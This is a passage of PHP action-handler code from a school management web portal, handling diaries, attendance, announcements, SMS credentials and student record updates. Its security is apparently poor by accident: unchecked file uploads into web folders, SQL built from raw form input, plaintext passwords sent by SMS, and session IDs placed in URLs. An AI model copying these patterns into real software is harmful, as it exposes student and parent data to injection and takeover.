			$tmp = $_FILES['img_file']['tmp_name'][$i];

			move_uploaded_file($tmp, $target_path);

		} 

		else {
			
			$imgs_src=$_REQUEST['old_imgs'][$i];

		}

		if ($imgs_src==NULL) {
			
			continue;
		}


		$data = array(				

		'branch_id' => $_SESSION['branch'],

		'diary_id' => $id,

		'images' => $imgs_src,

		'date' => date("Y-m-d")	

		);

		$result =  $m->insert ('eduportal_diary_images', $data);

	}



	$_SESSION['addsuccessexp']=1;



	header("location:../view_student_diaries.php?".session_id().session_id().session_id().session_id().session_id());

}




if($_REQUEST['action']=='update_diary')

{
//print_r($_REQUEST);
		if($_FILES['img_file']['name']!=""){



			$target_path = "../parent_images/"; 

			$rand=rand(00000,999999);

			$target_path = $target_path.basename($rand.$_FILES['img_file']['name']);

			$img_src =  basename($rand.$_FILES['img_file']['name']);

			$tmp = $_FILES['img_file']['tmp_name'];

			move_uploaded_file($tmp, $target_path);

		} 

		else {

			$img_src=$_REQUEST['old_img'];

		}

	
		$session=$_REQUEST['session'];

		$class_id=$_REQUEST['class_id'];

		$section=$_REQUEST['section'];

		$diaryDate=$_REQUEST['diaryDate'];

		$details=$_REQUEST['details'];

		$link=$_REQUEST['YoutubeLink'];

		
		$data = array(

				'session_id' => ($session),

				'class_id' => ($class_id),

				'section_id' => ($_REQUEST['section']),

				'subject_id' => ($_REQUEST['subject_id']),

				'diary_date' => ($diaryDate),

				'youtube_link' => ($link),

				'image' => $img_src,

				'diary_details' => ($details)

			);

	
	$m->where ("diary_id", $_REQUEST['diary_id']);

	$result =  $m->update ('eduportal_student_diary', $data);	



	for($i=0;$i<12;$i++){

 if($_FILES['img_file']['name'][$i]!=""){



			$target_path = "../diary_images/"; 

			$rand=rand(00000,999999);

			$target_path = $target_path.basename($rand.$_FILES['img_file']['name'][$i]);

			$imgs_src =  basename($rand.$_FILES['img_file']['name'][$i]);

			$tmp = $_FILES['img_file']['tmp_name'][$i];

			move_uploaded_file($tmp, $target_path);

		} 

		else {
			
			$imgs_src=$_REQUEST['old_imgs'][$i];

		}

		if ($imgs_src==NULL) {
			
			continue;
		}


		$data = array(				
				

		'images' => $imgs_src,

		'update_date' => date("Y-m-d")	

		);


		$m->where ("diary_id", $_REQUEST['diary_id']);

		$m->where ("branch_id", $_SESSION['branch']);

	    $result =  $m->update ('eduportal_diary_images', $data);

	}


	$_SESSION['upsuccessexp']=1;

	header("location:../view_student_diaries.php?".session_id().session_id().session_id().session_id().session_id()."&from=".$from."&to=".$to);

}



	


	



if(($_REQUEST['action']=='DeleteDiary'))

{



	if($_REQUEST['id']!='')

	{

		

	    $m->where("diary_id", $_REQUEST['id']);

	    $m->where("branch_id", $_SESSION['branch']);

     	$result = $m-> delete('eduportal_student_diary');


     	$m->where("diary_id", $_REQUEST['id']);

     	$m->where("branch_id", $_SESSION['branch']);

     	$result1 = $m-> delete('eduportal_diary_images');



     	



		$_SESSION['deleteexp']=1;

		header("location:../view_student_diaries.php?".session_id().session_id().session_id().session_id().session_id()."");

	}



}



if(($_REQUEST['action']=='DeleteVideoLec'))

{

//print_r($_REQUEST);

	if($_REQUEST['id']!='')

	{		

	    $m->where("videoLec_id", $_REQUEST['id']);

	    $m->where("branch_id", $_SESSION['branch']);

     	$result = $m-> delete('eduportal_student_videoLecture');

		$_SESSION['deleteexp']=1;

		header("location:../view_student_lecture.php?".session_id().session_id().session_id().session_id().session_id()."");

	}



}




if($_REQUEST['action']=="add_video_lecture")

//print_r($_REQUEST);

{


$section;
if ($_REQUEST['section']=="All") {

$m->where("class_id", $_REQUEST['class_id']);
$m->where("branch_id", $_SESSION['branch']);
$sec = $m->get("edu_adm_section_detail");

foreach($sec as $sectionID){

$data = array(

		

		'branch_id' => $_SESSION['branch'],

		'class_id' => $_REQUEST['class_id'],

		'section_id' => $sectionID['section_id'],

		'subject_id' => $_REQUEST['subject_id'],

		'session_id' => $_REQUEST['session'],

		'lecture_date' => $_REQUEST['lectureDate'],

		'Description' => $_REQUEST['details'],

		'meeting_id' => $_REQUEST['meeting_id'],

		//'Invite_Link' => $_REQUEST['Invite_Link'],

		'youtube_link' => $_REQUEST['youtube_link']);	

//print_r($data);

	$result =  $m->insert('eduportal_student_videoLecture', $data);

	}

} else {


	$data = array(
		

		'branch_id' => $_SESSION['branch'],

		'class_id' => $_REQUEST['class_id'],

		'section_id' => $_REQUEST['section'],

		'subject_id' => $_REQUEST['subject_id'],

		'session_id' => $_REQUEST['session'],

		'lecture_date' => $_REQUEST['lectureDate'],

		'Description' => $_REQUEST['details'],

		'meeting_id' => $_REQUEST['meeting_id'],

		'youtube_link' => $_REQUEST['youtube_link']);
	

//print_r($data);

	$result =  $m->insert('eduportal_student_videoLecture', $data); 

}


	$_SESSION['addsuccessexp']=1;

	header("location:../view_student_lecture.php?".session_id().session_id().session_id().session_id().session_id());

}






if($_REQUEST['action']=='update_videoLecture')

{		
	
		$session=$_REQUEST['session'];

		$class_id=$_REQUEST['class_id'];

		$section=$_REQUEST['section'];

		$lectureDate=$_REQUEST['lectureDate'];

		$details=$_REQUEST['details'];

		$link=$_REQUEST['youtube_link'];

		
		$data = array(

				'session_id' => ($session),

				'class_id' => ($class_id),

				'section_id' => ($_REQUEST['section']),

				'subject_id' => ($_REQUEST['subject_id']),

				'lecture_date' => ($lectureDate),

				'Description' => ($_REQUEST['details']),

				'youtube_link' => ($link)

			);

	
	$m->where ("videoLec_id", $_REQUEST['videoLec_id']);

	$result =  $m->update ('eduportal_student_videoLecture', $data);	


	$_SESSION['upsuccessexp']=1;

	header("location:../view_student_lecture.php?".session_id().session_id().session_id().session_id().session_id()."&from=".$from."&to=".$to);

}





if(($_REQUEST['action']=='MarkAllPresentAttendance'))

{



	$m->where("status", 0);

	$m->where("branch_id", $_SESSION['branch']);

	$m->where("session_id", $_SESSION['current_session']);

	$students = $m->get("edu_student_details");



		$m->where ("date", $_REQUEST['date']);

		$m->where ("session_id", $_SESSION['current_session']);

		$m->where ("branch_Id", $_SESSION['branch']);	

		$old_Attendance =  $m->get ('eduportal_attendance_detail');

//echo count($old_Attendance);

		if(count($old_Attendance)>0){

	$_SESSION['allreadyAttendance']=1;
	header("location:../mark_attendance.php?".session_id().session_id().session_id().session_id().session_id());

		} else {

	

	foreach($students as $student){


		


	$data = array(

		'student_id' => $student['student_id'],

		'attendance' => "P",

		'status' => '1',

		'date' => $_REQUEST['date'],

		'class_id' => $student['class_id'],

		'section_id' => $student['section_id'],

		'session_id' => $student['session_id'],

		'branch_Id' => $_SESSION['branch']

		);

	

		$m->insert('eduportal_attendance_detail',$data);

	
	}
		

	}





	// getting all the data from temp table and now inserting into attendance table



	$m->where("date", $_REQUEST['date']);

	$m->where("branch_id", $_SESSION['branch']);

	$m->where("session_id", $_SESSION['current_session']);



	$students = $m->get("eduportal_attendance_temp");



	foreach($students as $student){





		$data = array(

			'student_id' => $student['student_id'],

			'attendance' => $student['attendance'],

			'date' => $_REQUEST['date'],

			'status' => '1',

			'message_status' => '0',

			'class_id' => $student['class_id'],

			'section_id' => $student['section_id'],

			'session_id' => $student['session_id'],

			'branch_Id' => $_SESSION['branch'],

			'leave_reasons' => $student['leave_reasons']

			);

		

			$m->where("date", $_REQUEST['date']);

			$m->where("student_id", $student['student_id']);

			$m->where("branch_id", $_SESSION['branch']);

			$m->where("session_id", $_SESSION['current_session']);


			$m->update('eduportal_attendance_detail',$data);

		

			//echo "<pre>"; print_r($data); echo "</pre>"."<br>";



		}




	$m->where ("branch_Id", $_SESSION['branch']);
	$m->delete("eduportal_attendance_temp");



	header("location:../mark_attendance.php?".session_id().session_id()."&saveatt=saveatt");

	

}









if(($_REQUEST['action']=='ClearAttendance'))

{



	$m->delete("eduportal_attendance_temp");



	header("location:../mark_attendance.php?".session_id().session_id());

}





		 

if($_REQUEST['action']=="addStudentNnotification")

//print_r($_REQUEST);

{



	if($_FILES['img_file']['name']!=""){



			$target_path = "../parent_images/"; 

			$rand=rand(00000,999999);

			$target_path = $target_path.basename($rand.$_FILES['img_file']['name']);

			$img_src =  basename($rand.$_FILES['img_file']['name']);

			$tmp = $_FILES['img_file']['tmp_name'];

			move_uploaded_file($tmp, $target_path);

		}   else{$img_src ='';}



	$data = array(

		

		'branch_id' => $_SESSION['branch'],

		'session_id' => $_SESSION['current_session'],

		'notification_title' => $_REQUEST['notificationTitle'],

		'datetime' => $_REQUEST['notificationDate'],

		'month_id' => $_REQUEST['month_id'],

		'images' => $img_src,

		'description' => $_REQUEST['details']);

	

//print_r($data);

	$result =  $m->insert('eduportal_student_notification_details', $data); 


$id= $m->getInsertId();

$data1 = array(

		

		'branch_id' => $_SESSION['branch'],

		'announcement_date' => date("Y-m-d"),

		'announcement_id' => $id,	
		
		'status' => 0);

	

//print_r($data);

	$result1 =  $m->insert('eduportal_student_seen_notification', $data1); 
	



	$_SESSION['addsuccessexp']=1;



	header("location:../add_announcement.php?".session_id().session_id().session_id().session_id().session_id());

}







if($_REQUEST['action']=='updateStudentNotification')

{



	  if($_FILES['img_file']['name']!=""){



			$target_path = "../parent_images/"; 

			$rand=rand(00000,999999);

			$target_path = $target_path.basename($rand.$_FILES['img_file']['name']);

			$img_src =  basename($rand.$_FILES['img_file']['name']);

			$tmp = $_FILES['img_file']['tmp_name'];

			move_uploaded_file($tmp, $target_path);

		}   else{$img_src ='';}



    if($_FILES['img_file']['name']!=""){

		

		

		$data = array(

		'branch_id' => $_SESSION['branch'],

		'notification_title' => $_REQUEST['notificationTitle'],

		'datetime' => $_REQUEST['notificationDate'],

		'month_id' => $_REQUEST['month_id'],

		'images' => $img_src,

		'description' => $_REQUEST['details']);

	

		

	} else{

	

	$data = array(

		'branch_id' => $_SESSION['branch'],

		'notification_title' => $_REQUEST['notificationTitle'],

		'datetime' => $_REQUEST['notificationDate'],

		'month_id' => $_REQUEST['month_id'],

		'description' => $_REQUEST['details']);

	} 

	 	//print_r($data);

	 $m->where("notification_id", $_REQUEST['notification_id']);

     $m->where("branch_id", $_SESSION['branch']);

	 $result =  $m->update ('eduportal_student_notification_details', $data);	



	$_SESSION['User_Updated']=1;

	header("location:../add_announcement.php?".session_id().session_id().session_id().session_id().session_id()."&notiup=".$_REQUEST['notification_id']);

}



   if($_REQUEST['action']=="DeleteTestTitle")

//print_r($_REQUEST);

{


	$m->where("test_id", $_REQUEST['test_id']);

    $result = $m-> delete('eduportal_create_test');




	$_SESSION['addsuccessexp']=1;




	header("location:../test_title.php?".session_id().session_id().session_id().session_id().session_id());

}

// Delete Test Detail code



if(($_REQUEST['action']=='DeleteTestDetail'))

{



	if($_REQUEST['textId']!='')

	{

		

	    $m->where("subject_detail_id", $_REQUEST['textId']);

     	$result = $m-> delete('eduportal_LMS_test_subject_details');




		$_SESSION['deleteexp']=1;

		header("location:../create_test.php?".session_id().session_id().session_id().session_id().session_id()."");

	}



	else

	{

		header("location:../create_test.php?".session_id().session_id().session_id().session_id().session_id()."&errorfield=1");

	}





}			// end delete Expense code




if(($_REQUEST['action']=='DeleteStudentNotification'))

{



	if($_REQUEST['id']!='')

	{

		

	    $m->where("notification_id", $_REQUEST['id']);

	    $m->where("branch_id", $_SESSION['branch']);

     	$result = $m-> delete('eduportal_student_notification_details');



     	



		$_SESSION['deleteexp']=1;

		header("location:../add_announcement.php?".session_id().session_id().session_id().session_id().session_id()."");

	}



}




if(($_REQUEST['action']=='DeleteStudentSubjectTest'))

{



	if($_REQUEST['student_id']!='')

	{

		$m->where("subject_id", $_REQUEST['subject_id']);		

	    $m->where("test_id", $_REQUEST['test_id']);

	    $m->where("student_id", $_REQUEST['student_id']);

     	$result = $m-> delete('LMS_students_test');



		$_SESSION['deleteexp']=1;

		header("location:../result_report.php?".session_id().session_id().session_id().session_id().session_id()."");

	}



}




if(($_POST['action']=='ParentsAccessSMS'))
{

	//echo  "<pre>".print_r($_POST['checkboxes'])."</pre>"; 

				 
	$sms=0;
	$cell_no;


 for($i=0;$i<count($_POST['checkboxes']);$i++){
    

  if($_POST['checkboxes'][$i]!=null){

	 $id=$_POST['checkboxes'][$i];  

      
      $parent_name=$_POST['last_name'.$id];
	  $user_name=$_POST['cell_no'.$id];
      $user_password=$_POST['parent_password'.$id];
      $number=$_POST['cell_no'.$id];  

if(isset($_POST['portal'])){


	if($_SESSION['parents_link']!=NULL){
	  $link=$_SESSION['parents_link'];
	}else {
	  $link=Parents_Portal;
	}


}else {


	if($_SESSION['app_link']!=NULL){
	  $link=$_SESSION['app_link'];
	}else {
	  $link=MobileApp;
	}

}

//echo $parent_name;

$message ="Dear, 
".$parent_name."

Username:".$user_name." 
Password:".$user_password."
Portal Link:".$link."
From:".$_SESSION['branch_name']; 

// echo "<br>".print_r($message)."<br/>";



 
 $result=sendSMSFuction($number,$message,$_SESSION['brand']);
	
	//print_r($result);
  
   $msgcount=ceil(strlen($message)/160);

   $data = array('msg_sender' => $_SESSION['brand'],'msg_from' => $number,'msg_details' => $message,'msg_status' => "Sent",'branch_id' => $_SESSION['branch'],'other_msg' => 1,'msg_count'=>$msgcount );
    $result =  $m->insert('edu_messages_details', $data);
    

    $sms++;

    }// ending if number is not blank

  } // ending loop 


  	header("location:../parents_id.php?".session_id().session_id());


}





	if(($_REQUEST['action']=='SendStudentSMS'))
{
	
//print_r($_REQUEST);
			
		
		$cellno=$_REQUEST['cell_no'];
		$msg=$_REQUEST['message'];		

		
		$result=sendSMSFuction($cellno,$msg,$_SESSION['brand']);
		//print_r($msg);

		 
		 $msgcount=ceil(strlen($message)/160);

		$data = array('msg_sender' => $_SESSION['brand'],'msg_from' => $cellno,'msg_details' => $msg,'msg_status' => "Sent",'branch_id' => $_SESSION['branch'],'other_msg' => 1,'msg_count'=>$msgcount );
        $result =  $m->insert('edu_messages_details', $data);	

			

		$_SESSION['Added']=1;	
		header("location:../student_profile.php?".session_id().session_id().session_id().session_id().session_id()."&student=".$_REQUEST['student']."&successlogin=1");	
	
}



if($_REQUEST['action']=="Create_Chapter")

//print_r($_REQUEST);

{



	$data = array(

		

		'subject_id' => $_REQUEST['subject_id'],

		'class_id' => $_REQUEST['class_id'],

		'branch_id' => $_SESSION['branch'],

		'chapter_Name' => $_REQUEST['chapter_Name']);

	

//print_r($data);

	$result =  $m->insert('edu_create_subject_chapters', $data); 



	



	$_SESSION['addsuccessexp']=1;





	header("location:../create_subject_chapters.php?".session_id().session_id().session_id().session_id().session_id()."&subject_id=".$_REQUEST['subject_id']);

}





//Update chapter 

if($_REQUEST['action']=='update_chapter')

{

		$class_id=$_REQUEST['class_id'];

		$chapter_Name=$_REQUEST['chapter_Name'];

		$subject_id=$_REQUEST['subject_id'];

		

		

		

		$data = array(

				'class_id' => ($class_id),

				'subject_id' => ($subject_id),

				'branch_id' => $_SESSION['branch'],

				'chapter_Name' => ($chapter_Name)

				

			);

//print_r($data);



	$m->where ("chapter_id", $_REQUEST['chapter_id']);

	$result =  $m->update ('edu_create_subject_chapters', $data);	







	$_SESSION['upsuccessexp']=1;

	$from=date("Y-m-d",strtotime($_REQUEST['edate']));

	$to=date("Y-m-d",strtotime($_REQUEST['edate']));



	header("location:../create_subject_chapters.php?".session_id().session_id().session_id().session_id().session_id()."&from=".$from."&to=".$to);

}								// close update expenses





 // Delete Expense code



if(($_REQUEST['action']=='DeleteChapter'))

{



	if($_REQUEST['chapter_id']!='')

	{

		

	    $m->where("chapter_id", $_REQUEST['chapter_id']);

     	$result = $m-> delete('edu_create_subject_chapters');



     	



		$_SESSION['deleteexp']=1;

		header("location:../create_subject_chapters.php?".session_id().session_id().session_id().session_id().session_id()."");

	}



	else

	{

		header("location:../create_subject_chapters.php?".session_id().session_id().session_id().session_id().session_id()."&errorfield=1");

	}





}			// end delete Expense code











if(($_POST['action']=='ExperienceCertificate'))

{

   $experience=$_POST['experience'];
   $slogan=$_POST['slogan'];

	//print_r($_POST);
   	// now adding user audit detail
		

		$username=$_SESSION['username'];



			$action="User: ".$username." ,Action: Experience Certificate";



			date_default_timezone_set("Asia/Karachi");



		$data = array(

		'user_id' => $_SESSION['user_id'],

		'action' => $action,

		'date' => date("Y-m-d"),

		'month_id' => date('m'),

		'time' => date("h:i:sa"),

       	'branch_id' => $_SESSION['branch'],

		);



		//print_r($data);



		$result = $m->insert('eduportal_users_auditlog_detail',$data);





	 $_SESSION['experience']=$experience;
	 $_SESSION['slogan']=$slogan;

	header("location:../experience_certificate.php?".session_id().session_id().session_id().session_id().session_id()."&header=".$_POST['header']);

}





if($_REQUEST['action']=='AddLocalityBuld')

{

	$data = array(

		'locality_name' => $_REQUEST['locality_name'],

		'locality_date' => date("Y-m-d"),

		'branch_id' => $_SESSION['branch']

		);

	$result =  $m->insert ('eduportal_branch_locality', $data);	


	if ($_REQUEST['AddLocalities']=="AddLocalities") {
		
		header("location:../add_localities.php?".session_id().session_id().session_id().session_id().session_id());
	} else {

	header("location:../bulk_stdns.php?".session_id().session_id().session_id().session_id().session_id());
	}

}





if(($_REQUEST['action']=='DeleteLocality'))

{

//print_r($_REQUEST);

	if($_REQUEST['locality']!='')

	{

//echo "umar";		

	    $m->where("locality_id", utf8_decode_all($_REQUEST['locality']));

     	$result = $m->delete('eduportal_branch_locality',$data);

		header("location:../manage_localities.php?".session_id().session_id().session_id().session_id().session_id()."");

	}



	else

	{

		header("location:../manage_localities.php?".session_id().session_id().session_id().session_id().session_id()."&errorfield=1");

	}





}







if($_REQUEST['action']=='AddLocality')

{

	$data = array(

		'locality_name' => $_REQUEST['locality_name'],

		'locality_date' => $_REQUEST['locality_date'],

		'branch_id' => $_SESSION['branch']

		);

	$result =  $m->insert ('eduportal_branch_locality', $data);	



	header("location:../manage_localities.php?".session_id().session_id().session_id().session_id().session_id());

}





if($_REQUEST['action']=='UpdateLocality')

{

	$data = array(

		'locality_name' => $_REQUEST['locality_name'],

		'locality_date' => $_REQUEST['locality_date']

	);



	$m->where ("locality_id", $_REQUEST['locality_id']);



	$result =  $m->update ('eduportal_branch_locality', $data);



	



	$_SESSION['Upsuccess']=1;

	header("location:../manage_localities.php?".session_id().session_id().session_id().session_id().session_id());

}



if($_POST['action']=='TicketApproval')
{
	
	
		
	$data = array(
				
		'approval_date' => $_POST['approval_date'],
		'comments' => $_POST['comments'],
		'status' => $_POST['status']
		
		);
//print_r($data);
		$db->where("customer_support_id",$_POST['ticketId']);
		$result =  $db->update('eduportal_customer_support', $data);	

	

				

	$_SESSION['done']=1;
	header("location:../approval_comments_popup.php?".session_id().session_id().session_id().session_id().session_id());
	
}

/*

if(($_REQUEST['action']=='DeleteLocality'))

{



	if($_REQUEST['locality']!='')

	{

		

	    $m->where("locality_id", utf8_decode_all($_REQUEST['locality']));

     	$result = $m->delete('eduportal_branch_locality',$data);

	

		header("location:../branch_locality.php?".session_id().session_id().session_id().session_id().session_id()."");

	}



	else

	{

		header("location:../manage_localities.php?".session_id().session_id().session_id().session_id().session_id()."&errorfield=1");

	}





}*/








if($_POST['action_call']=='SendSingleSubjectSMS')

{


	// print_r($_POST['std_name']);

	$sms=0;

	$cell_no;





 for($i=0;$i<count($_POST['checkboxes']);$i++){

    



  if($_POST['checkboxes'][$i]!=null){



	 $id=$_POST['checkboxes'][$i];    

//print_r($id);

      $std_name=$_POST['std_name'.$id];

      $student_id=$_POST['student_id'.$id];

      $number=$_POST['numbers'.$id];

      $tmarks=$_POST['tmarks'.$id];

      $obt=$_POST['obt'.$id];

      $subject=$_POST['subject'];

      $term=$_POST['term_title'];

      $limit=$_POST['limit'];

      $term_id=$_POST['term_id'];

      $session=$_POST['session'];

      $class_id=$_POST['class_id'];

      $section=$_POST['section'];



//print_r($obt);

  $msg ="Dear Parents, 

Result of ".$std_name." 



(".$term.") 

Subject:".$subject."

Total:".$tmarks." 

Obtained:".$obt." 

From:".$_SESSION['branch_name'];





	if($_POST['submit']!=NULL){



		$message=$msg;



	}



	else if($_POST['detailed']!=NULL){



	  $message=$_POST['msg_txt'.$id];

	 

	}


	$result=sendSMSFuction($number,$message,$_SESSION['brand']);

	//print_r($result);


    // now updating message status         

    $data = array('sms_status' => "1");

    $m->where ("branch_id", $_SESSION['branch']);

    $m->where ("class_id", $class_id);

    $m->where ("section_id", $section);

    $m->where ("session_id", $session);

    $m->where ("student_id", $student_id);

  

   $result =  $m->update ('eduportal_exam_marksheet', $data);

    
   $data = array('msg_sender' => $_SESSION['brand'],'msg_from' => $number,'msg_details' => $message,'msg_status' => "Sent",'branch_id' => $_SESSION['branch'],'result_msg' => 1);

   $result =  $m->insert ('edu_messages_details', $data);


    $sms++;

 

    }// ending if number is not blank


  } // ending loop 


  $_SESSION['msg_sent']=1; 


 //print_r($_POST);



header("Location:../view_Submarksheet.php?".session_id().session_id().session_id()."&term_id=".$_POST['term_id']."&session=".$_POST['session']."&class_id=".$_POST['class_id']."&section=".$_POST['section']."&subjects=".$_POST['subjects']);
  
}





if(($_POST['action']=='UserAccessSms'))

{





		$data = array(

		

		'user_email' => $_POST['user_email'],

		'user_password' => $_POST['user_password']



		);



	//	print_r($data);

		$m->where ("user_id", $_POST['user_id']);

		$result = $m->update('edu_user_config',$data);

		//print_r($result);



	// now sending result sms individually

	

	

	  $user_fname=$_POST['user_fname'];

	  $user_email=$_POST['user_email'];

      $user_password=$_POST['user_password'];

      $link=$_POST['link'];

      $number=$_POST['cell_no'];

    

  $message ="Dear, 

".$user_fname."



Your Email:".$user_email." 

Your Password:".$user_password."

Software Link:".$link."

From:".$_SESSION['branch_name']; 

 

 $result=sendSMSFuction($number,$message,$_SESSION['brand']);



 //  print_r($result);

 //  echo $_SESSION['brand'];

    $data = array('msg_sender' => $_SESSION['brand'],'msg_from' => $number,'msg_details' => $message,'msg_status' => "Sent",'branch_id' => $_SESSION['branch'],'other_msg' => 1);

    $result =  $m->insert ('edu_messages_details', $data);

   

  //  print_r($data);

    



 $url="../user_access.php?".session_id().session_id().session_id().session_id().session_id()."&student=".$_REQUEST['student']."&".session_id().session_id().session_id()."#std_section";



 echo "<script>window.location="."'$url'"."</script>";





}











if(($_POST['action']=='UpdateClassWiseStudent'))

{

	// echo "<pre>"; print_r($_POST); echo "</pre>";	
$classID=$_POST['class_id'];	
$sectionID=$_POST['section'];
$branchID=$_SESSION['branch'];
$sessionID=$_POST['session'];

	for($i=0;$i<count($_POST['students']);$i++){		

						
			$stdID=$_POST['students'][$i];
			$admID=$_POST['adm_no'][$i];
			$fName=$_POST['first_name'][$i];
			$lName=$_POST['last_name'][$i];
			$cNo=$_POST['cell_no'][$i];
			$dofB=$_POST['dob'][$i];
			$local=$_POST['locality'][$i];
			$gndr=$_POST['gender'][$i];
			$dofA=$_POST['doa'][$i];
			$Fcode=$_POST['familycode'][$i];

			$query = "UPDATE edu_student_details SET ";

			if ($_POST['selectAdm']=="adm"){
			    $query .= "`ref_no` = '$admID', ";
			}

			if ($_POST['selectStdName']== "stdName"){
			    $query .= "`first_name` = '$fName', ";
			}

			if ($_POST['selectFName']== "fName"){
			    $query .= "`last_name` = '$lName', ";
			}

			if ($_POST['selectCellno']== "cellno"){
			    $query .= "`cell_no` = '$cNo', ";
			}

			if ($_POST['selectDob']== "dob"){
			    $query .= "`dob` = '$dofB', ";
			}

			if ($_POST['selectLocality']== "locality"){
			    $query .= "`locality` = '$local', ";
			}

			if ($_POST['selectGender']== "gender"){
			    $query .= "`gender` = '$gndr', ";
			}

			if ($_POST['selectDoa']== "doa"){
			    $query .= "`date_of_adms` = '$dofA', ";
			}

			if ($_POST['selectFamilycode']== "familycode"){
			    $query .= "`family_code` = '$Fcode', ";
			}					
		
			$query .= "`branch_id` = '$branchID',
	        `session_id` = $sessionID
	       WHERE `section_id` = '$sectionID' and `class_id` = '$classID' and `student_id` = '$stdID'";
	       
     $m->query($query);
      // print_r($query);

	} // ending loop


	$_SESSION['fee_settings']=1;	
	

	header("location:../update_student_classwise.php?".session_id().session_id().session_id().session_id().session_id()."&class_id=".$_POST['class_id']."&session=".$_POST['session']."&section=".$_POST['section']."&stdName=".$_POST['selectStdName']."&fName=".$_POST['selectFName']."&cellno=".$_POST['selectCellno']."&dob=".$_POST['selectDob']."&locality=".$_POST['selectLocality']."&gender=".$_POST['selectGender']."&doa=".$_POST['selectDoa']."&familycode=".$_POST['selectFamilycode']."&adm=".$_POST['selectAdm']);


}   // main 






if(($_POST['action']=='UpdateClassWiseStudentPicture'))

{



	 //echo "<pre>"; print_r($_POST); echo "</pre>";

	

for($i=0;$i<count($_POST['students']);$i++){

			
 if($_FILES['img_file']['name'][$i]!=""){



			$target_path = "../students_pics/"; 

			$rand=rand(00000,999999);

			$target_path = $target_path.basename($rand.$_FILES['img_file']['name'][$i]);

			$imgs_src =  basename($rand.$_FILES['img_file']['name'][$i]);

			$tmp = $_FILES['img_file']['tmp_name'][$i];

			move_uploaded_file($tmp, $target_path);

		} 

		else {
			
			$imgs_src=$_REQUEST['old_imgs'][$i];

		}

//echo $_REQUEST['old_img'][$i]."<br>";
		$data1 = array(

		//'class_id' => $_POST['class_id'],

		'branch_id' => $_SESSION['branch'],

		//'section_id' => $_POST['section'],

		'session_id' => $_POST['session'],

		'student_id' => $_POST['students'][$i],

		'image' => $imgs_src);



		//echo "<pre>"; print_r($data1); echo "</pre>";

			

			$m->where ("section_id", $_POST['section']);	

			$m->where ("class_id", $_POST['class_id']);

			$m->where ("branch_id", $_SESSION['branch']);

			$m->where ("student_id", $_POST['students'][$i]);

			$result = $m->update('edu_student_details',$data1);

			//print_r($data);

	} // ending loop



	$_SESSION['upsuccess']=1;	

	

	header("location:../manage_students.php?".session_id().session_id().session_id().session_id().session_id()."&class_id=".$_POST['class_id']."&session=".$_POST['session']."&section=".$_POST['section']);



}




if($_POST['action']=='UpdateUserAccess')

{


//echo "<pre>"; print_r($_POST['edit']); echo "</pre>";

	$m->where ("branch_id", $_SESSION['branch']);
    $m->where ("user_id", $_POST['user_id']);
 	$result = $m-> delete('users_privilege_detail');


foreach($_POST['module'] as $modules){


	foreach($_POST['pages'.$modules] as $page){

	$editAccess=$_POST['edit'.$page];
	$deleteAccess=$_POST['delete'.$page];

	$data = array(
		'page_id' => $page,

		'branch_id' => $_SESSION['branch'],

		'user_id' => $_POST['user_id'],

		'edit_access' => $editAccess,

		'delete_access' => $deleteAccess,

		'module_id' => $modules	);

		//echo "<pre>"; print_r($data); echo "</pre>";


		$m->insert ('users_privilege_detail', $data);	

}



		// update user page_access status

          $data = array(

          'page_access_status' => 1);

		   $m->where ("user_id", $_POST['user_id']);

           $result = $m->update('edu_user_config',$data);



	}





	$_SESSION['done']=1;

	header("location:../assign_user_access.php?".session_id().session_id().session_id().session_id().session_id()."&id=".$_POST['user_id']."&desigID=".$_POST['desigID']);

}







if($_REQUEST['action']=='MonthlyReport')

{



header("location:../print_monthlyfee_report.php?".session_id().session_id().session_id().session_id().session_id()."&session=".$_REQUEST['session']."&month=".$_REQUEST['month']."&s=".session_id().session_id().session_id().session_id().session_id());



}







if(($_REQUEST['action']=='DeleteSubject'))

{



	if($_REQUEST['subject']!='')

	{

		

	    $m->where("subject_id", utf8_decode_all($_REQUEST['subject']));

     	$result = $m->delete('eduportal_subject_config',$data);

		/*$_SESSION['delete']=1;*/



		// now adding user audit detail



					$m->where("subject_id", $_REQUEST['subject']);

					$subject= $m->get("eduportal_subject_config");



					$subject_name=$subject[0]['subject'];

					$username=$_SESSION['username'];



	  				$action="User: ".$username." ,Action: Delete Subject , Subject Name=".$subject_name;



	  				date_default_timezone_set("Asia/Karachi");



					$data = array(

					'user_id' => $_SESSION['user_id'],

					'action' => $action,

					'date' => date("Y-m-d"),

					'month_id' => date('m'),

					'time' => date("h:i:sa"),

					'branch_id' => $_SESSION['branch'],

					);



					//print_r($data);



					$result = $m->insert('eduportal_users_auditlog_detail',$data);



		header("location:../subjects.php?".session_id().session_id().session_id().session_id().session_id()."");

	}



	else

	{

		header("location:../subjects.php?".session_id().session_id().session_id().session_id().session_id()."&errorfield=1");

	}





} 



// Delete cat code

if(($_REQUEST['action']=='DeleteCategories'))

{



	if($_REQUEST['subject']!='')

	{

		

	    $m->where("cat_id", utf8_decode_all($_REQUEST['subject']));

     	$result = $m->delete('eduportal_contacts_category',$data);





     	// now adding user audit detail



					$username=$_SESSION['username'];



	  				$action="User: ".$username." ,Action: Delete Category , Category Name=".$_REQUEST['subject'];



	  				date_default_timezone_set("Asia/Karachi");



					$data = array(

					'user_id' => $_SESSION['user_id'],

					'action' => $action,

					'date' => date("Y-m-d"),

					'month_id' => date('m'),

					'time' => date("h:i:sa"),

					'branch_id' => $_SESSION['branch'],

					);



					//print_r($data);



					$result = $m->insert('eduportal_users_auditlog_detail',$data);





		/*$_SESSION['delete']=1;*/

		header("location:../add_categories.php?".session_id().session_id().session_id().session_id().session_id()."");

	}



	else

	{

		header("location:../add_categories.php?".session_id().session_id().session_id().session_id().session_id()."&errorfield=1");

	}





}								// end delete categories code 









 // main 







if($_REQUEST['action']=='AddTerm')

{

	$data = array(  

		'term_title' => $_REQUEST['name'],

		'branch_id' => $_SESSION['branch'],

		'session_id' => $_REQUEST['session'],

		'starting_date' => $_REQUEST['starting'],

		'Live_Mobile_App' => $_REQUEST['Live_Mobile_App'],

		'ending_date' => $_REQUEST['ending'],

		);

	$result =  $m->insert ('eduportal_exam_terms', $data);



// now adding user audit detail



	  			

					$username=$_SESSION['username'];



	  				$action="User: ".$username." ,Action: Add Term , Term Name=".$_REQUEST['name'];



	  				date_default_timezone_set("Asia/Karachi");



					$data = array(

					'user_id' => $_SESSION['user_id'],

					'action' => $action,

					'date' => date("Y-m-d"),

					'month_id' => date('m'),

					'time' => date("h:i:sa"),

					'branch_id' => $_SESSION['branch'],

					);



					//print_r($data);



					$result = $m->insert('eduportal_users_auditlog_detail',$data);



